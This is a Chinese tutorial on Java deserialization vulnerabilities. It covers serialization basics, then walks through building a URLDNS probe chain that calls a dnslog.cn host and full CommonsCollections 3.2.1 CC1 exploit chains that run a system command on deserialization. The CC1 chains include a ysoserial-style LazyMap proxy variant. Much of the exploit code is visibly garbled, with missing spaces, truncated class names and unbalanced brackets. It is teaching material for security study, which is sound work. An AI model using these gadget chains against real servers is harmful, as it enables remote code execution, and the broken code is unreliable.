Java反序列化
Java反序列化与序列化基础
概述 Java序列化是指把Java对象转换为字节序列的过程;而Java反序列化是指把字节序列恢复为Java对象的过程。序列化分为两大部分:序列化和反序列化。序列化是这个过程的第一部分,将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化就是打开字节流并重构对象。对象序列化不仅要将基本数据类型转换成字节表示,有时还要恢复数据。恢复数据要求有恢复数据的对象实例。为什么需要序列化与反序列化?当两个进程进行远程通信时,可以相互发送各种类型的数据,包括文本、图片、音频、视频等,而这些数据都会以二进制序列的形式在网络上传送。那么当两个Java进程进行通信时,能否实现进程间的对象传送呢?答案是可以的。如何做到呢?这就需要Java序列化与反序列化了。换句话说,一方面,发送方需要把这个Java对象转换为字节序列,然后在网络上传送;另一方面,接收方需要从字节序列中恢复出Java对象。序列化技术经常在以下场景中使用:1. 想把内存中的对象保存到一个文件中或者数据库中时候;2. 想用套接字在网络上传送对象的时候;3. 想通过RMI传输对象的时候
序列化实现只有实现了Serializable或者Externalizable接口的类的对象才能被序列化为字节序列。(不是则会抛出异常)
示例:定义一个可以被序列化的person类
package com.springstudy.mybatis.xuliehua; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; // 定义一个可以被序列化的Person类, 序列化类的属性没有实现 Serializable 那么在序列化就会报错 public class Person implements Serializable { // 4.static静态成员变量无法被序列化 // 5. transient 标识的对象成员变量不参与序列化 private String name; private int age; public Person(String name,int age){ this.name = name; this.age = age; } // 该方法如果没重写写,反序列化是不会成功的,两个id值是不一致的,会出错 @Override public String toString(){ return "Persontest{" + "name'" + name +'\'' + ", age=" + age + '}'; } // 重写readObject方法,在执行反序列化的时候达到了命令执行的漏洞。 // 所以在反序列漏洞中通常都是重写了readObject方法导致的,但是一般不会直接通过一个类的调用就找到反序列话漏洞,可能还是要涉及到cc链的调用,多个类中的调用关系一个类存在rce,那么可以通过调用关系达到命令执行漏洞 // private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{ // ois.defaultReadObject(); // Runtime.getRuntime().exec("calc"); // } }
定义序列化过程这里将序列化的过程封装为serialize函数,序列化过程使用了ObjectOutputStream,代表对象输出流,它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化,把得到的字节序列写到一个目标输出流中。
package com.springstudy.mybatis.xuliehua; import com.springstudy.mybatis.model.Persontest; import java.io.IOException; import java.io.ObjectOutput; import java.io.ObjectOutputStream; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; //这里将序列化的过程封装为serialize函数, // 序列化过程使用了ObjectOutputStream,代表对象输出流, // 它的writeObject(Object obj)方法可对参数指定的obj对象进行序列化, // 把得到的字节序列写到一个目标输出流 // 1.序列化类的属性没有实现 Serializable 那么在序列化就会报错,也就是person中要定义 Person implements Serializable public class SerializationTest { public static void serialize(Object obj) throws IOException{ ObjectOutputStream oss = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin"))); oss.writeObject(obj); } public static void main(String[] args) throws IOException{ Person person = new Person("goktech",18); serialize(person); // MyList myList = new MyList("guoketech"); // serialize(myList); } }
定义反序列化过程这里将反序列化的过程封装为deserialize函数,反序列化过程使用了ObjectInputStream,代表对象输入流,它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回
package com.springstudy.mybatis.xuliehua; import java.io.IOException; import java.io.ObjectInput; import java.io.ObjectInputStream; import java.nio.file.Files; import java.nio.file.Path; import java.nio.file.Paths; //这里将反序列化的过程封装为deserialize函数, //反序列化过程使用了ObjectInputStream,代表对象输入流, // 它的readObject()方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象, // 并将其返回 // 2. 在反序列化过程中,它的父类如果没有实现序列化接口,那么将需要提供无参构造函数来重新创建对象 public class DeserializationTest { public static Object deserialize(String filePath) throws Exception{ ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filePath))); return ois.readObject(); } public static void main(String[] args) throws Exception { Person person = (Person) deserialize("ser.bin"); // MyList myList = (MyList) deserialize("ser.bin"); System.out.println(person); } }
这里我们直接用java序列化与反序列化全讲解的例子进行演示:
MyList 这个类定义了一个 arr 数组属性,初始化的数组长度为 100。在实际序列化时如果让 arr 属性参与序列化的话,那么长度为 100 的数组都会被序列化下来,但是我在数组中可能只存放 30 个数组而已,这明显是不可理的,所以这里就要自定义序列化过程啦。我们可以在定义MyList 类时对readObject()和writeObject()进行重写。
MyList类:
package com.springstudy.mybatis.xuliehua; import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable; import java.util.Arrays; //MyList 这个类定义了一个 arr 数组属性,初始化的数组长度为 100。 // 在实际序列化时如果让 arr 属性参与序列化的话,那么长度为 100 的数组都会被序列化下来 // ,但是我在数组中可能只存放 30 个数组而已,这明显是不可理的, // 所以这里就要自定义序列化过程啦。我们可以在定义MyList 类时对readObject()和writeObject()进行重写。 public class MyList implements Serializable { private String name; private transient Object[] arr; public MyList(String name){ this.name=name; this.arr=new Object[100]; for(int i=0; i<30; i++){ this.arr[i]=i; } } @Override public String toString(){ return "MyList{" + "name='" + name+ '\'' + ", arr=" + Arrays.toString(arr) + '}'; } private void writeObject(java.io.ObjectOutputStream oss) throws IOException{ oss.defaultWriteObject(); for(int i=0; i<30; i++) { oss.writeObject(arr[i]); } } private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{ ois.defaultReadObject(); arr = new Object[30]; for(int i=0; i<30; i++) { arr[i] = ois.readObject(); } } }
Java反序列化安全问题
从上面我们可以看到,在反序列化的时候,只要服务端进行了反序列化,我们传输的类中的readObject类就会被调用,这就给了攻击者进行命令执行的机会。
可能出现的攻击方式
-
传输的入口类的readObject直接可以调用危险函数
-
传输的入口类中包含可控的恶意类,在调用readObject时会调用危险类。
-
传输的入口类中包含可控的类,可控类又包含可控类,直到某个可控类包含带有危险方法的类,readObject触发时会链式调用。
-
类加载的时候的隐式调用
需要满足的条件:都要继承Serializable1.
1.入口类(source):最好是jdk自带的类,调用常见函数(toString,hashcode,equals),可以传输的参数类型多,重写readObject方法。(常见的入口类:Map类)2. 执行类(sink):能够进行命令执行满足以上条件的利用链我们一般称之为gadget chain
2.执行类(sink):能够进行命令执行满足以上条件的利用链我们一般称之为gadget chain
上面说道的第一种利用方式基本上不可能,我们可以举个例子,直接重写我们Person中的readObject,在其中加入命令执行方法。
private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException{ ois.defaultReadObject(); Runtime.getRuntime().exec("calc"); //直接调用runtime的exec方法执行系统命令。 }
这时在反序列化的时候就会直接触发命令执行,但是在正常的情况下是不会遇到这种情况的,需要一系列复杂的调用你才可能在某个类中找到可以进行命令执行的一个类的方法,所以正常情况下需要大量的查找的过程。
但是这种情况基本不可能出现。很少会有程序员在服务器上使用这种危险类。
URLDNS反序列化
这个反序列化利用链的目的是为了探测服务端是否存在反序列化漏洞,我们可以来分析一下他的发现过程。
在渗透测试中为了探测一些ssrf或者rce漏洞,我们经常会看看服务端能不能进行url请求,我们可以通过dnslog来验证服务端是否发起请求。
在Java中我们想要发起url请求需要使用到URL类,我们来看一看URL类的具体方法URL类继承了Serializable,是可以被反序列化的
接下来看一看我们上面说过的常见函数,目标来到了URl中的hashCode函数,在这里会去调用URL的handler的hashCode函数。
进一步跟进,在handler的hashCode方法中会调用getHostAddress方法,这个方法就会发起http请求,我们也能收到dnslog记录。
看起来我们这个的利用过程很舒服,现在我们可以来分析一下整体的利用链HashMap.readObject()->HashMap.putVal()->HashMap.hash(Key) ->URL.hashCode()->URLStreamHandler.hashCode()->URLStreamHandler.getHostAddress()
也就是说,只要我们把HashMap的Key设置为URL类,就能够完成我们的利用链
我们可以尝试写一下利用链的过程:
package com.springstudy.mybatis.xuliehua; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.logging.Handler; public class URLDNS { public static void main(String[] args) throws Exception { // 构造url类 URL url = new URL("http://i5kq3t.dnslog.cn"); //初始化HashMap HashMap<URL,String> hashMap=new HashMap<>(); //将url赋值为key,value随意 hashMap.put(url,"test"); //序列化 serialize(hashMap); //反序列化// // deserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin"))); oss.writeObject(obj); } public static Object deserialize(String filePath) throws Exception{ ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filePath))); return ois.readObject(); } }
上面这串代码看起来没有问题,但是我们实际运行后会发现,当我们进行put的时候触发dnslog请求,但是我们反序列化的时候始终触发不了。
我们进入put函数看一下,可以看到put函数也会进入我们的利用链去调用URL的hashCode。
回顾URL的hashCode,在这里会有一个校验,只有在hashCode等于-1的时候才会进入handler的hashCode方法,这里的hashCode初始化值是-1,在put这一步的时候因为刚刚初始化,所以会进入到handler的hashCode,但是在我们put完成后,hashCode的值就发生了改变,不再是-1了,所以我们在反序列化的时候这里传入的值不是-1,就没有办法去发起请求。
现在我们要解决的问题就是在put之前我们改变url的默认hashCode,这样put时就不会触发请求,我们就可以减少误报,在put之后,我们将hashCode的值再改为-1,这样序列化以后的内容就能确保hashCode值为-1,就不会影响到我们的反序列化了。我们是可以通过反射方法对类的private参数进行修改的,这里我们就不多介绍反射方法的使用了,我们直接来看代码。
package com.springstudy.mybatis.xuliehua; import java.io.IOException; import java.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Field; import java.net.URL; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.logging.Handler; public class URLDNS { public static void main(String[] args) throws Exception { // 构造url类 URL url = new URL("http://i5kq3t.dnslog.cn"); //初始化HashMap HashMap<URL,String> hashMap=new HashMap<>(); //修改url的默认hashCode,让其不为-1 // 获取url的类 Class c=url.getClass(); // 获取参数hashCode Field hashCodeField=c.getDeclaredField("hashCode"); //设置为可修改 hashCodeField.setAccessible(true); hashCodeField.set(url,1111); //将url赋值为key,value随意 hashMap.put(url,"test"); //改回url的hasCode为-1 hashCodeField.set(url,-1); //序列化 serialize(hashMap); //反序列化// // deserialize("ser.bin"); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oss = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin"))); oss.writeObject(obj); } public static Object deserialize(String filePath) throws Exception{ ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filePath))); return ois.readObject(); } }
这里我们就能够保证在put的时候不会触发http请求,只有在反序列化的时候才会触发请求。
参考文章:java序列化与反序列化全讲解_序列化和反序列号需要构造无参函数的意义-优快云博客
Java反序列化Commons CollectionsCommonsCollection
漏洞最早发现与2015年,有国外的研究人员发现,可以参考这篇文章进行学习。What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and YourApplication Have in Common? This Vulnerability. 这个漏洞影响至今。
我们先来看一看什么是Commons Collections
Apache Commons Collections
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
也就是说Commons Collections 对java的原生集合类进行了一些优化。我们可以简单了解一下Java 集合类的这个概念。
java.util 包中提供了一些集合类,这些集合类又被称为容器。提到容器不难想到数组,集合类与数组的不同之处是,数组的长度是固定的,集合的长度是可变的;数组用来存放基本类型的数据,集合用来存放对象的引用。常用的集合有 List 集合、Set 集合和 Map 集合,其中 List 与 Set 继承了 Collection 接口,各接口还提供了不同的实现类。
这些类能不能引起大家的回忆,在之前讲Java 发序列化的漏洞时,我们有说过这些类可以做为Object的载体进行传递。
了解了这些我们就可以看看Commons Collections 存在了那些漏洞。
Java调试问题在研究漏洞之前我们先来看一下关于idea调试的问题。在我们的jdk中我们有很多的内置包,这些内置包的文件格式会有两种,一种为.java文件一种为.class文件。这两种文件在阅读上有很大的差异,我们来看一下。
以java结尾的文件可以看到项目的注释,而且变量名称很友好,但是class文件就没有这些,因为class文件看到的源码是反编译出来的,所以我们看不到源码。这里为了我们后续调试方便,我们可以手动的去导入一些源码包。
将我们提供的sun的源码包拷贝到本地的java目录下。
在我们jdk中默认有一个src.zip
我们将这个文件解压出来,在文件夹内添加我们的sun包
在idea中添加源代码目录
这时候和sun有关的内容就可以以源码的新式储存,我们在调试和进行调用查找的时候就会方便很多。
CC1
漏洞版本3.2.1依赖;依赖加载后我们可以下载对应源码:
依赖;
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections --><dependency><groupId>commons-collections</groupId><artifactId>commons-collections</artifactId><version>3.2.1</version></dependency>
依赖加载后我们可以下载对应源码
这里其实就是我们利用链的最后一环,可以进行任意命令执行。我们先来看一下如何使用InvokerTransformer来弹出一个计算器先来写一个常规的命令执行;
Runtime.getRuntime().exec("calc");
也可以用普通的反射去做:
Runtime runtime=Runtime.getRuntime(); Class claz=runtime.getClass(); Method execMethod=claz.getMethod("exec",String.class); execMethod.invoke(runtime,"calc");
这里是不是可以发现我们反射的写法,和InvokerTransformer中transform的方法一模一样。现在我们用InvokerTransformer来写:
这里是InvokerTransformer 的 constructor
Runtime runtime=Runtime.getRuntime(); new InvokerTransformer("exec", newClass[]{String.class},newObject[]{"calc"}).transform(runtime);
map.put("key","value"); for(Map.Entryentry:map.entrySet()){ entry.setValue("abc"); }
Runtime runtime=Runtime.getRuntime(); InvokerTransformer invokerTransformer=new InvokerTransformer("exec", newClass[]{String.class}, newObject[]{"calc"}); HashMap<Object,Object>map=newHashMap<>(); Map<Object,Object>transformedMap=TransformedMap.decorate(map,null,invokerTransformer); map.put("key","value"); for(Map.Entryentry:transformedMap.entrySet()){ entry.setValue(runtime); }
现在代表我们距离完整的利用链更进一步了。
下一步我们需要找到一个entry遍历map的地方,调用了setValue,就可以继续我们的利用链,现在对setValue使用FindUsage,我们的目标还是找在不同方法里调用setValue的类,最好能直接一步到位,也就是在某一个类的readObject方法中调用了setValue。
这里是正常的调用:
//虽然Runtime类不能序列化,但是它的原型类Class是可以序列化的 Classc=Runtime.class; //调用构造方法发现Runtime中的静态方法getRuntime会返回currentRuntime //这个currentRuntime就是Runtime的实例 //因为这个一个无参数方法所以参数类型和参数值都是null Methodm=c.getMethod("getRuntime",null); //反射调用,因为是静态方法,所以第一个参数是空的,因为是一个无参方法,第二个值也是空的。Runtimer= (Runtime) m.invoke(null,null); //调用exec方法 Method exec=c.getMethod("exec", String.class); //调用clac exec.invoke(r,"calc");
接下来写成InvokerTransformer的模式:
//通过InvokerTransformer调用getMethod方法获取到getRuntime静态方法 Methodm= (Method) newInvokerTransformer("getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime",null}).transform(Runtime.class); //通过InvokerTransformer调用invoke方法获取Runtime实例 Runtimer= (Runtime) newInvokerTransformer("invoke", newClass[]{Object.class, Object[].class}, newObject[]{null,null}).transform(m); //通过InvokerTransformer调用exec方法执行calc命令 newInvokerTransformer("exec", newClass[]{String.class}, newObject[]{"calc"}).transform(r);
ChainedTransformerchained Transformer=new ChainedTransformer(new InvokerTransformer[]) new InvokerTransformer("getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime",null}), new InvokerTransformer("invoke", newClass[]{Object.class,Object[].class}, newObject[]{null,null}), new InvokerTransformer("exec", newClass[]{String.class},newObject[]{"calc"})}); chainedTransformer.transform(Runtime.class);
ChainedTransformer chainedTransformer=newChainedTransformer(new InvokerTransformer[]{ new InvokerTransformer("getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime",null}), new InvokerTransformer("invoke", newClass[]{Object.class,Object[].class}, newObject[]{null,null}), new InvokerTransformer("exec", newClass[]{String.class},newObject[]{"calc"})}); HashMap<Object,Object> map=new HashMap<>(); Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer); map.put("key","value"); Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructorconstructor=annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object object=constructor.newInstance(Override.class,transformedMap); serialize(object);deserialize("ser.bin");
修改后的代码如下: ChainedTransformer chainedTransformer=newChainedTransformer(new InvokerTransformer[]{ new InvokerTransformer("getMethod", newClass[]{String.class, Class[].class}, newObject[]{"getRuntime",null}), new InvokerTransformer("invoke", newClass[]{Object.class,Object[].class}, newObject[]{null,null}), new InvokerTransformer("exec", newClass[]{String.class},newObject[]{"calc"})}); HashMap<Object,Object> map=new HashMap<>(); Map<Object,Object> transformedMap= TransformedMap.decorate(map,null,chainedTransformer); map.put("key","value"); Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructorconstructor=annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); Object object=constructor.newInstance(Target.class,transformedMap); serialize(object); deserialize("ser.bin");
完整CC1代码:
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.TransformedMap; import java.io.IOException;importjava.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.annotation.Target; import java.lang.reflect.Constructor; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class CC1{ public static void main(String[] args) throws Exception{ ChainedTransformer chainedTransformer=new ChainedTransform(new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, newObject[]{"getRuntime",null}), new InvokerTransformer("invoke", newClass[] {Object.class, Object[].class}, newObject[]{null,null}), new InvokerTransformer("exec", newClass[] {String.class}, newObject[]{"calc"} }); HashMap<Object,Object>map=new HashMap<>(); Map<Object,Object>transformedMap=TransformedMap.decorate(map,null, chainedTransformer); map.put("value","value"); Class annotationInvocationHandler=Class.forName("sun.reflect.annotatio .n.AnnotationInvocationHan); Constructorconstructor=annotationInvocationHand.getDeclaredConstructor (Class.class,Map.class); constructor.setAccessible(true); Objectobject=constructor.newInstance(Target.class,transformedMap); serialize(object); deserialize("ser.bin"); } publicstaticvoidserialize(Objectobj) throwsIOException { ObjectOutputStream oos=new ObjectOutputStream(Files.newOutputStream (Paths.get("ser.bin")); oos.writeObject(obj); } publicstaticObjectdeserialize(StringfilePath) throws Exception{ ObjectInputStream ois=new ObjectInputStream(Files.newInputStream (Paths.get(filePath)); returnois.readObject(); } }
前言
其实上节课的CC1在ysoserial中使用的并不是TransformedMap.checkSetValue()而是LazyMap.get(),然后通过动态代理触发LazyMap.get(),因为动态代理原理太过繁琐所以我们就不再赘述。这里放出使用LazyMap和动态代理的POC大家可以去实验一下。
import org.apache.commons.collections.Transformer; import org.apache.commons.collections.functors.ChainedTransformer; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.map.LazyMap; import java.io.IOException;importjava.io.ObjectInputStream; import java.io.ObjectOutputStream; import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy;importjava.nio.file.Files; import java.nio.file.Paths;importjava.util.HashMap; import java.util.Map; publicclassCC1_ysoserial { publicstaticvoidmain(String[] args) throwsException { ChainedTransformer chainedTransformer=new ChainedTransformer(newTransformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", newClass[] {String.class, Class[].class}, newObject[]{"getRuntime",null}), new InvokerTransformer("invoke", newClass[] {Object.class, Object[].class}, newObject[]{null,null}), new InvokerTransformer("exec", newClass[] {String.class}, newObject[]{"calc"}) }); HashMap<Object,Object> map=newHashMap<>(); Map<Object,Object> lazyMap=LazyMap.decorate(map,chainedTransformer); Class annotationInvocationHandler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor= annotationInvocationHandler.getDeclaredConstructor(Class.class,Map.class); constructor.setAccessible(true); InvocationHandlerinvocationHandler1= (InvocationHandler)constructor.newInstance(Override.class,lazyMap); MapmapProxy= (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), newClass[]{Map.class}, invocationHandler1); Objectobject=constructor.newInstance(Override.class,mapProxy); serialize(object); deserialize("ser.bin"); } public static void serialize(Objectobj) throws IOException { bjectOutputStream oos=new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin"))); oos.writeObject(obj); } public static Objectdeserialize(StringfilePath) throws Exception{ ObjectInputStreamois=new ObjectInputStream(Files.newInputStream(Paths.get(filePath))); returnois.readObject(); } }